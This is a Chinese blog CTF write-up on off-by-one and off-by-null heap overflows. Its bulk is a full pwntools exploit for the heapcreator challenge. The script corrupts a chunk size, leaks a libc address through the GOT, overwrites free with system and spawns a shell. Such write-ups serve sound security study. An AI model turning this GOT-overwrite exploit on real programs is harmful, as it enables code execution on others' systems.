OffByxxx - 超级玉米人的博客

超级玉米人

公告

欢迎来到我的博客！这里将分享我的日常与技术学习笔记。~(∠・ω< )⌒★

Learn More

标签

超级玉米人

公告

欢迎来到我的博客！这里将分享我的日常与技术学习笔记。~(∠・ω< )⌒★

Learn More

标签

超级玉米人

公告

欢迎来到我的博客！这里将分享我的日常与技术学习笔记。~(∠・ω< )⌒★

Learn More

标签

128 字

1 分钟

OffByxxx

2026-06-04

ctf

ctfwp

/

heap

aaaaaaaaaaa

Off by one 和 Off by null 都是一种发生在程序中的非预期函数功能，指非预期的溢出一个字节,或者非预期溢出 \x00 这个字节。利用其手法，涉及 libc malloc这个手法的前向合并和后向合并

本质上都是通过多溢出的字节修改 chunk 块的size或prev_inuse位，来使得chunk在被释放时候发生重叠覆盖，从而获取可控制的非法内存

例题 BUU-hitcontraining_heapcreator#

1
from pwn import *
2

3
file = "./pwn_patched"
4
host = "127.0.0.1"
5
port = 1234
6

7
is_remote = False
8

9
context.log_level = "debug"
10
context.binary = file
11

12
if is_remote:
13
    p = remote(host, port)
14
else:
15
    p = process(file)
16

17
elf = ELF(file)
18
rop = ROP(elf)
19
libc = ELF("./libc-2.23.so")
20

21
def menu(index: int):
22
    global p
23

24
    p.recvuntil(b"Your choice :")
25
    p.sendline(str(index).encode())
26

27
def create(size: int, content: bytes):
28
    global p
29

30
    menu(1)
31

32
    p.recvuntil(b"Size of Heap : ")
33
    p.sendline(str(size).encode())
34

35
    p.recvuntil(b"Content of heap:")
36
    p.send(content)
37

38
def show(index: int) -> bytes:
39
    global p
40

41
    menu(3)
42
    p.recvuntil(b"Index :")
43
    p.sendline(str(index).encode())
44

45
    p.recvuntil(b"Content : ")
46
    content = u64(p.recvuntil(b"\n",drop=True).ljust(0x8,b'\x00'))
47
    return content
48

49
def delete(index: int):
50
    global p
51

52
    menu(4)
53

54
    p.recvuntil(b"Index :")
55
    p.sendline(str(index).encode())
56

57

58
def edit(index: int, content: bytes):
59
    global p
60

61
    menu(2)
62

63
    p.recvuntil(b"Index :")
64
    p.sendline(str(index).encode())
65

66
    p.recvuntil(b"Content of heap : ")
67
    p.send(content)
68

69
create(0x18, b'aaaa') # chunk1:0x20 chunk2:0x20
70
create(0x20, b'aaaa') # chunk3:0x20 chunk4:0x30
71
create(0x20, b'aaaa') # chunk5:0x20 chunk6:0x30
72

73
raw_input(f"已经申请完空间 pwndbg -p {p.pid}")
74

75
payload = cyclic(0x18) + p8(0x71)
76

77
edit(0, payload)
78

79
raw_input(f"one by off")
80

81
delete(1)
82

83
payload = flat(
84
    {
85
        0x50: [
86
            p64(0x20),
87
            p64(elf.got["puts"])
88
        ]
89
    },
90
    filler = b"\x00"
91
)
92

93
create(0x60,payload)
94

95
puts_addr = show(2)
96

97
log.info(f"puts_addr -->{hex(puts_addr)}")
98

99
libc.address = puts_addr - libc.symbols["puts"]
100
system_addr = libc.symbols["system"]
101

102
payload = flat(
103
    {
104
        0x50: [
105
            p64(0x20),
106
            p64(elf.got["free"])
107
        ]
108
    },
109
    filler = b"\x00"
110
)
111

112
edit(1,payload)
113
edit(2,p64(system_addr))
114
edit(0,b'/bin/sh\x00')
115

116
delete(0)
117
p.interactive()